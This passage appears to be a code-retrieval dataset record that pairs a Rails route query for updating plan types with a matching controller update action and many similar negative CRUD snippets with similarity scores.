notice: 'Test plan was successfully created.' }\n format.json { render json: @test_plan, status: :created, location: @test_plan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @test_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def type_params\n params.require(:type).permit( :name)\n end", "def create\n @plan = Plan.new(plan_params)\n @plan.add_ident\n @plan.user_id = current_user.id\n unless @plan.save\n render json: {status: 'failed', message: '创建失败,请稍后重试 !'}\n end\n end", "def create\n @plan = Plan.new(plan_params)\n @plan.user_id = current_user.id\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n Term.create(plan_id: @plan.id, semester: \"Fall\", year: @plan.startyear)\n Term.create(plan_id: @plan.id, semester: \"Spring\", year: @plan.startyear+1)\n Term.create(plan_id: @plan.id, semester: \"Summer\", year: @plan.startyear+1)\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \t @surveytype = Surveytype.new(params[:surveytype])\n end", "def create\n @type = Type.new(type_params)\n\n unless @type.save\n render json: @type.errors, status: :unprocessable_entity\n end\n \n end", "def weekplan_params\n params.require(:weekplan).permit(:plan)\n end", "def plan_params\r\n params.require(:plan).permit(\r\n :title,\r\n :started_at,\r\n :ended_at,\r\n :state,\r\n :remarks,\r\n :project_ids => [],\r\n )\r\n end", "def planer_params\n params.require(:planer).permit(:new_plan, :priority, :date, :status)\n end", "def create\n @prune_type = PruneType.new(prune_type_params)\n\n respond_to do |format|\n if @prune_type.save\n format.html { redirect_to @prune_type, notice: 'Prune type was successfully created.' }\n format.json { render :show, status: :created, location: @prune_type }\n else\n format.html { render :new }\n format.json { render json: @prune_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:name, :price, :trainings_id)\n end", "def ptype_params\n params.require(:ptype).permit(:name, :plural, :schedule_type, :opening, :closing)\n end", "def set_tipo_plan\n @tipo_plan = TipoPlan.find(params[:id])\n end", "def create_types\n\t[]\nend", "def create_types\n\t[]\nend", "def create\n @plan = Plan.new(plan_params)\n @patient = Patient.find(params[:patient_selec]['id'])\n @family_group = FamilyGroup.find(params[:id])\n @plan.state = \"Abierto\"\n\n respond_to do |format|\n if @plan.save\n current_user.plans << @plan\n @family_group.plans << @plan\n @family_group.save\n format.html { redirect_to planslink_path(@family_group.id), notice: 'Plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:name, :user_id, :catalogYear, :majorName)\n end", "def trip_type_params\n params.require(:trip_type).permit(:name)\n end", "def create\n @customer = Customer.new(params[:customer])\n @customer_types =\n CustomerType.new(\n :customer_type => params[:customer_type],\n :customer_type_name => params[:customer_type_name],\n :zip_number => params[:zip_number],\n :prefecture_cd => params[:prefecture_cd],\n :city => params[:city],\n :oaza => params[:oaza],\n :town => params[:town],\n :building_name => params[:building_name],\n :customer_type_memo => params[:customer_type_memo])\n\n @customer.customer_types << @customer_types\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: '以下の情報が登録されました。' }\n format.json { render json: @customer, status: :created, location: @customer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "def course_plan_params\n params.require(:course_plan).permit(:programme_id, :name, :abbr, :type)\n end", "def get_plan_type(plan)\n plan_type_id = plan.plan_type_id\n PlanType.find(plan_type_id).type_name rescue nil\n end", "def create\n @cardio_plan = CardioPlan.new(params[:cardio_plan])\n @cardio_plan.workout_plans << @workout_plan\n\n respond_to do |format|\n if @cardio_plan.save\n flash[:notice] = 'Cardio Plan was successfully created.'\n format.html { redirect_to(@cardio_plan) }\n format.xml { render :xml => @cardio_plan, :status => :created, :location => @cardio_plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cardio_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def type_params\n params.require(:type).permit(:name)\n end", "def create\n @plannegocio = Plannegocio.new(params[:plannegocio])\n\n respond_to do |format|\n if @plannegocio.save\n format.html { redirect_to @plannegocio, notice: 'Plannegocio was successfully created.' }\n format.json { render json: @plannegocio, status: :created, location: @plannegocio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plannegocio.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @investment_type = InvestmentType.new(params[:investment_type])\n\n respond_to do |format|\n if @investment_type.save\n format.html { redirect_to investment_types_path, notice: 'Investment type was successfully created.' }\n format.json { render json: @investment_type, status: :created, location: @investment_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @investment_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_types\n\t\t[]\n\tend", "def create_types\n\t\t[]\n\tend", "def create_test_plan\n @testplan = Testplan.new()\n @testplan.plan_name = params[:plan_name]\n @testplan.test_type = params[:test_type]\n @testplan.reporter = params[:reporter]\n @testplan.coverage = params[:coverage]\n @testplan.ok_rate = params[:ok_rate]\n @testplan.open_message =params[:open_message].to_i\n @testplan.comment =params[:comment]\n @testplan.taktinfo_id = params[:id]\n @testplan.format = params[:testp]\n if params[:coverage].to_i > 80 && params[:ok_rate].to_i> 80\n @testplan.status = \"Green\"\n else\n @testplan.status = \"Red\"\n end\n @testplan.save\n\n @takt = Taktinfo.find(params[:id])\n @testplans = @takt.testplans.where(:format =>params[:testp])\n\n respond_to do |format|\n format.json{render json:@testplans.as_json(root:false),:callback =>params[:callback]}\n end\n end", "def create\n @statement_type = StatementType.new(statement_type_params)\n\n respond_to do |format|\n if @statement_type.save\n format.html { redirect_to @statement_type, notice: 'Statement type was successfully created.' }\n format.json { render :show, status: :created, location: @statement_type }\n else\n format.html { render :new }\n format.json { render json: @statement_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @test_plan = TestPlan.new(test_plan_params)\n @test_plan.project_id = @project.id\n\n respond_to do |format|\n if @test_plan.save\n format.html { redirect_to project_test_plans_path(@project), flash: {success: 'LoadTest plan was successfully created.'} }\n format.json { render :show, status: :created, location: @test_plan }\n else\n format.html { render :new }\n format.json { render json: @test_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @run_type = RunType.new(params[:run_type])\n\n respond_to do |format|\n if @run_type.save\n format.html { redirect_to @run_type, notice: 'Run type was successfully created.' }\n format.json { render json: @run_type, status: :created, location: @run_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @run_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n @plan.user = current_user\n respond_to do |format|\n if @plan.save\n format.html { redirect_to profile_path, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @type_passport = TypePassport.new(type_passport_params)\n\n respond_to do |format|\n if @type_passport.save\n format.html { redirect_to @type_passport, notice: 'Type passport was successfully created.' }\n format.json { render :show, status: :created, location: @type_passport }\n else\n format.html { render :new }\n format.json { render json: @type_passport.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @act_type = ActType.new(params[:act_type])\n\n respond_to do |format|\n if @act_type.save\n format.html { redirect_to @act_type, notice: 'Тип документа успешно создан.' }\n format.json { render json: @act_type, status: :created, location: @act_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @act_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @billing_plan = BillingPlan.new(billing_plan_params)\n\n respond_to do |format|\n if @billing_plan.save\n format.html { redirect_to @billing_plan, notice: 'Billing plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @billing_plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @billing_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def project_type_params\n params.require(:project_type).permit(:name, :description, :dueDate, :nextRecurringDate,\n :recurringSchedule, :repeatWhenComplete, task_item_ids: [])\n end", "def create_map_type(map_type_body, options = {})\n path = base_uri\n request(path, options.merge(method: :post), map_type_body).to_s\n end", "def create\n @actual_action_plan = ActualActionPlan.new(actual_action_plan_params)\n\n respond_to do |format|\n if @actual_action_plan.save\n format.html { redirect_to @actual_action_plan, notice: 'Actual action plan was successfully created.' }\n format.json { render :show, status: :created, location: @actual_action_plan }\n else\n format.html { render :new }\n format.json { render json: @actual_action_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def run_type_params\n params.require(:run_type).permit(:type, :active)\n end", "def plan_params\n params.require(:plan).permit(:title, :name, :detail,:user_id)\n end", "def plan_params\n params.require(:plan).permit(:title, :description, :color_tag)\n end", "def rental_plan_params\n params.require(:rental_plan).permit(:code, :name, :model_id, :model_class_id, :rental_type_id, :rental_rate_id, :rental_price_id, :note)\n end", "def plan_params\n params.require(:plan).permit(:nickname, :amount_decimal, :currency,\n :interval, :interval_count)\n end", "def create\n @survey_data_type = SurveyDataType.new(survey_data_type_params)\n\n respond_to do |format|\n if @survey_data_type.save\n format.html { redirect_to @survey_data_type, notice: 'Survey data type was successfully created.' }\n format.json { render :show, status: :created, location: @survey_data_type }\n else\n format.html { render :new }\n format.json { render json: @survey_data_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:owner_id, :family_summary, :clinical_objective, :risk_factor, :state, :plan_type, :close_reason, :close_datetime, :risk_details, :protection_details)\n end", "def plan_params\n\t\t\tparams.require(:plan).permit(:departure_date, :return_date, :description)\n\t\tend", "def create_types\n @types.each do |type|\n create_type(type) unless Type.where(name: type['name']).first\n end\n end", "def update\n @plantype = Plantype.find(params[:id])\n\n respond_to do |format|\n if @plantype.update_attributes(params[:plantype])\n format.html { redirect_to @plantype, notice: 'Plantype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plantype.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:title, :detail, :comment, :prefecture_id, \n courses_attributes: [:plan_id, :place_id, :name, :description, :time, :thumbnail])\n end", "def create_type_params\n params.require(:create_type).permit(:name, :display_name, :note)\n end", "def create\n @sales_plan = SalesPlan.new(sales_plan_params)\n\n respond_to do |format|\n if @sales_plan.save\n format.html { redirect_to @sales_plan, notice: 'Sales plan was successfully created.' }\n format.json { render :show, status: :created, location: @sales_plan }\n else\n format.html { render :new }\n format.json { render json: @sales_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @run_type = RunType.new(run_type_params)\n\n respond_to do |format|\n if @run_type.save\n format.html { redirect_to @run_type, notice: 'Run type was successfully created.' }\n format.json { render :show, status: :created, location: @run_type }\n else\n format.html { render :new }\n format.json { render json: @run_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @test_plan = TestPlan.new(params[:test_plan])\n\n respond_to do |format|\n if @test_plan.save\n format.html { redirect_to(@test_plan, :notice => 'Test plan was successfully created.') }\n format.xml { render :xml => @test_plan, :status => :created, :location => @test_plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @test_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @planitem = Planitem.new(planitems_params)\n\n respond_to do |format|\n if @planitem.save\n format.html { redirect_to \"#{plan_path(@planitem.sprint.quarter.name)}\", notice: 'Plan item was successfully created.' }\n format.json { render json: @planitem, status: :created, location: @planitem }\n else\n\t\t@sprint = Sprint.find(@planitem.sprint_id)\n\t\t@teams = Team.order(:name)\n\t\t@initiatives = Initiative.where(:quarter_id => @sprint.quarter_id)\n\t\t@sprints = Sprint.where(:quarter_id => @sprint.quarter_id)\n format.html { render action: \"new\" }\n format.json { render json: @planitem.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @plantype = Plantype.find(params[:id])\n @plantype.destroy\n\n respond_to do |format|\n format.html { redirect_to plantypes_url }\n format.json { head :no_content }\n end\n end", "def arrivaltype_params\n params.require(:arrivaltype).permit(:arrivalTypes)\n end", "def new\n @klassplan = Klassplan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @klassplan }\n end\n end", "def evals_types\n call_path = \"evals/types\"\n data = build_post_data(\"\")\n perform_post(build_url(call_path), data)\n end", "def test_type_params\n params.require(:test_type).permit(:name, :description, :data)\n end" ]
[ "0.6431026", "0.63140357", "0.61822444", "0.6180239", "0.61742234", "0.61303836", "0.6044102", "0.60207415", "0.6007684", "0.6006193", "0.6005104", "0.6005104", "0.5923302", "0.589989", "0.5898155", "0.5886066", "0.5869257", "0.5836935", "0.5835317", "0.5825765", "0.5771907", "0.57717717", "0.5743356", "0.57262594", "0.57104206", "0.5702458", "0.57014805", "0.56905997", "0.56879145", "0.56809175", "0.5680132", "0.5678537", "0.5674741", "0.5669452", "0.56682104", "0.5662307", "0.5655538", "0.5650527", "0.5644364", "0.5634356", "0.5627432", "0.5622083", "0.56145376", "0.56088567", "0.5603731", "0.5603433", "0.56016064", "0.55943656", "0.558866", "0.5586236", "0.55829585", "0.55827546", "0.55810475", "0.55742216", "0.5573122", "0.5573122", "0.5571701", "0.5564687", "0.55525625", "0.5539502", "0.55381733", "0.55373687", "0.553721", "0.55332667", "0.55285573", "0.5521293", "0.5516872", "0.5516872", "0.5510794", "0.55105263", "0.5505583", "0.5503424", "0.5501377", "0.54999655", "0.54979706", "0.54975617", "0.54932535", "0.5491426", "0.54810625", "0.54797685", "0.54769194", "0.5476819", "0.5472178", "0.5471968", "0.54686326", "0.5465895", "0.54643995", "0.5464241", "0.54628116", "0.54601717", "0.5456826", "0.5454251", "0.5453918", "0.545037", "0.54503375", "0.5448083", "0.5442879", "0.54409856", "0.54404926", "0.5437311" ]
0.72943974
0
PUT /plantypes/1 PUT /plantypes/1.json
def update @plantype = Plantype.find(params[:id]) respond_to do |format| if @plantype.update_attributes(params[:plantype]) format.html { redirect_to @plantype, notice: 'Plantype was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @plantype.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @tipo_plan.update(tipo_plan_params)\n format.html { redirect_to @tipo_plan, notice: 'Tipo plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_plan }\n else\n format.html { render :edit }\n format.json { render json: @tipo_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plantype_strategy = PlantypeStrategy.find(params[:id])\n\n respond_to do |format|\n if @plantype_strategy.update_attributes(params[:plantype_strategy])\n format.html { redirect_to @plantype_strategy, notice: 'Plantype strategy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plantype_strategy.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n\n if @plan.update(plan_params)\n head :no_content\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end", "def create\n @plantype = Plantype.new(params[:plantype])\n\n respond_to do |format|\n if @plantype.save\n format.html { redirect_to @plantype, notice: 'Plantype was successfully created.' }\n format.json { render json: @plantype, status: :created, location: @plantype }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plantype.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n\n if @plan.update(params[:plan])\n head :no_content\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end", "def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_tipo_plan\n @tipo_plan = TipoPlan.find(params[:id])\n end", "def change_type\n\t\t\trender json: User.update_type_by_id(params[:id], params[:type], params[:is])\n\t\tend", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: '基本情報を編集しました' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan actualizado exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @type.update(type_params)\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan }\n format.json { respond_with_bip(@plan) }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n raw = params[:sample_type]\n st = SampleType.find(raw[:id])\n\n st.name = raw[:name]\n st.description = raw[:description]\n st.save\n st.save_field_types raw[:field_types]\n\n render json: { sample_type: st }\n\n end", "def update\n @plan = Plan.find(params[:id])\n authorize @plan\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to @plan, :editing => false, notice: _('Plan was successfully updated.') }\n format.json { head :no_content }\n else\n flash[:notice] = failed_update_error(@plan, _('plan'))\n format.html { render action: \"edit\" }\n end\n end\n end", "def destroy\n @plantype = Plantype.find(params[:id])\n @plantype.destroy\n\n respond_to do |format|\n format.html { redirect_to plantypes_url }\n format.json { head :no_content }\n end\n end", "def update\n unless @plan.update(plan_params)\n render json: {status: 'failed', message: '更新失败,请稍后重试 !'}\n end\n end", "def show\n @plantype = Plantype.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plantype }\n end\n end", "def update\n respond_to do |format|\n if @planet_type.update(planet_type_params)\n format.html { redirect_to @planet_type, notice: 'Planet type was successfully updated.' }\n format.json { render :show, status: :ok, location: @planet_type }\n else\n format.html { render :edit }\n format.json { render json: @planet_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @test_plan = TestPlan.find(params[:id])\n\n respond_to do |format|\n if @test_plan.update_attributes(params[:test_plan])\n format.html { redirect_to @test_plan, notice: 'Test plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to(@plan, :notice => 'Plan was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n plan = Plan.find_by_id!(params.fetch(:id))\n benchmark_action_ids =\n JSON.parse(plan_update_params.fetch(:benchmark_action_ids))\n name = plan_update_params.fetch(:name)\n plan.update!(name: name, benchmark_action_ids: benchmark_action_ids)\n redirect_to plans_path\n end", "def update\n @socialize_plan = SocializePlan.find(params[:id])\n\n respond_to do |format|\n if @socialize_plan.update_attributes(params[:socialize_plan])\n format.html { redirect_to(@socialize_plan, :notice => 'Socialize plan was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @socialize_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n flash[:notice] = 'Plan was successfully updated.'\n format.html { redirect_to(@plan) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @klassplan = Klassplan.find(params[:id])\n\n respond_to do |format|\n if @klassplan.update_attributes(params[:klassplan])\n format.html { redirect_to @klassplan, notice: 'Klassplan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @klassplan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_break_type(id:,\n body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::PUT,\n '/v2/labor/break-types/{id}',\n 'default')\n .template_param(new_parameter(id, key: 'id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "def tipo_plan_params\n params.require(:tipo_plan).permit(:tipo, :descripcion, :plan_paciente_id)\n end", "def new\n @plantype = Plantype.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plantype }\n end\n end", "def update\n @crate_type = CrateType.find(params[:id])\n\n respond_to do |format|\n if @crate_type.update_attributes(params[:crate_type])\n format.html { redirect_to @crate_type, :notice => 'Crate type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @crate_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @sslplan = Sslplan.find(params[:id])\n\n respond_to do |format|\n if @sslplan.update_attributes(params[:sslplan])\n format.html { redirect_to @sslplan, :notice => 'Sslplan was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @sslplan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\r\n @general_plan = GeneralPlan.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @general_plan.update_attributes(params[:general_plan])\r\n format.html { redirect_to @general_plan, notice: 'General plan was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @general_plan.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n respond_to do |format|\n if @api_v1_admin_type.update(api_v1_admin_type_params)\n format.html { redirect_to @api_v1_admin_type, notice: 'Admin type was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_admin_type }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_admin_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @costtype = Costtype.find(params[:id])\n\n respond_to do |format|\n if @costtype.update_attributes(params[:costtype])\n format.html { redirect_to @costtype, notice: 'Costtype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @costtype.errors, status: :unprocessable_entity }\n end\n end\n end", "def update \t\n record = AssetType.find(params[:id])\n record.update_attributes(params[:record])\n \n respond_to do |format|\n format.html\n format.json {\n render json: {}\n }\n end\n end", "def update_type\n\t\tfname= \"#{self.class.name}.#{__method__}\"\n\t\tLOG.debug(fname){\"params=#{params.inspect}\"}\n\t\t@object_plm = Customer.find(params[:id])\n\t\tctrl_update_type @object_plm, params[:object_type]\n\tend", "def update\n @realty_type = RealtyType.find(params[:id])\n\n respond_to do |format|\n if @realty_type.update_attributes(params[:realty_type])\n format.html { redirect_to @realty_type, notice: 'Realty type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @realty_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @act_type = ActType.find(params[:id])\n\n respond_to do |format|\n if @act_type.update_attributes(params[:act_type])\n format.html { redirect_to @act_type, notice: 'Данные типа документа успешно обновлены.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @act_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @box_request_abuse_type.update(box_request_abuse_type_params)\n format.html { redirect_to @box_request_abuse_type, notice: 'Box request abuse type was successfully updated.' }\n format.json { render :show, status: :ok, location: @box_request_abuse_type }\n else\n format.html { render :edit }\n format.json { render json: @box_request_abuse_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @trip_plan.update(trip_plan_params)\n format.html { redirect_to @trip_plan, notice: 'Trip plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip_plan }\n else\n format.html { render :edit }\n format.json { render json: @trip_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n if @plan.update_attributes(params[:plan])\n redirect_to @plan, :notice => \"Successfully updated plan.\"\n else\n render :action => 'edit'\n end\n end", "def update\n @travel_type = TravelType.find(params[:id])\n\n respond_to do |format|\n if @travel_type.update_attributes(params[:travel_type])\n format.html { redirect_to @travel_type, :notice => 'Travel type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @travel_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_change_plan\n response=@root_key_api.change_plan(\"test-rb@precog.com\",\"password\",@account_id, \"Bronze\")\n \n response=@root_key_api.describe_plan(\"test-rb@precog.com\",\"password\",@account_id)\n assert_include response, 'type'\n assert_equal 'Bronze', response['type']\n\n response=@root_key_api.change_plan(\"test-rb@precog.com\",\"password\",@account_id, \"Free\")\n end", "def update\n @panel_plan = Panel::Plan.find(params[:id])\n\n respond_to do |format|\n if @panel_plan.update_attributes(params[:panel_plan])\n format.html { redirect_to(@panel_plan, :notice => 'Plan was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @panel_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @run_type = RunType.find(params[:id])\n\n respond_to do |format|\n if @run_type.update_attributes(params[:run_type])\n format.html { redirect_to @run_type, notice: 'Run type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @run_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_type\n @type = Type.find(params[:id])\n\n end", "def update\n @contract_type = ContractType.find(params[:id])\n\n respond_to do |format|\n if @contract_type.update_attributes(params[:contract_type])\n format.html { redirect_to @contract_type, notice: 'Contract type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contract_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tasks = @plan.tasks\n\n @goals = @plan.goals\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to back_index_case_url, notice: 'Plan was successfully updated.' }\n # format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def type_params\n params.from_jsonapi.require(:type).permit(:name)\n end", "def update\n respond_to do |format|\n if @claim_type.update(claim_type_params)\n format.html { redirect_to @claim_type, notice: 'Claim type was successfully updated.' }\n format.json { render :show, status: :ok, location: @claim_type }\n else\n format.html { render :edit }\n format.json { render json: @claim_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @client_type = ClientType.find(params[:id])\n\n respond_to do |format|\n if @client_type.update_attributes(params[:client_type])\n format.html { redirect_to @client_type, notice: 'Client type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @run_type.update(run_type_params)\n @run_type.update_default_shoe(params[:run_type][:default].to_i)\n\n format.html { redirect_to admin_run_types_path, notice: update_notice(@run_type.name) }\n format.json { render :index, status: :ok, location: @run_type }\n else\n format.html { render :edit }\n format.json { render json: @run_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plannegocio = Plannegocio.find(params[:id])\n\n respond_to do |format|\n if @plannegocio.update_attributes(params[:plannegocio])\n format.html { redirect_to @plannegocio, notice: 'Plannegocio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plannegocio.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_type\n @type = Type.find(params[:id])\n end", "def set_type\n @type = Type.find(params[:id])\n end", "def set_type\n @type = Type.find(params[:id])\n end", "def update\n respond_to do |format|\n if @run_type.update(run_type_params)\n format.html { redirect_to @run_type, notice: 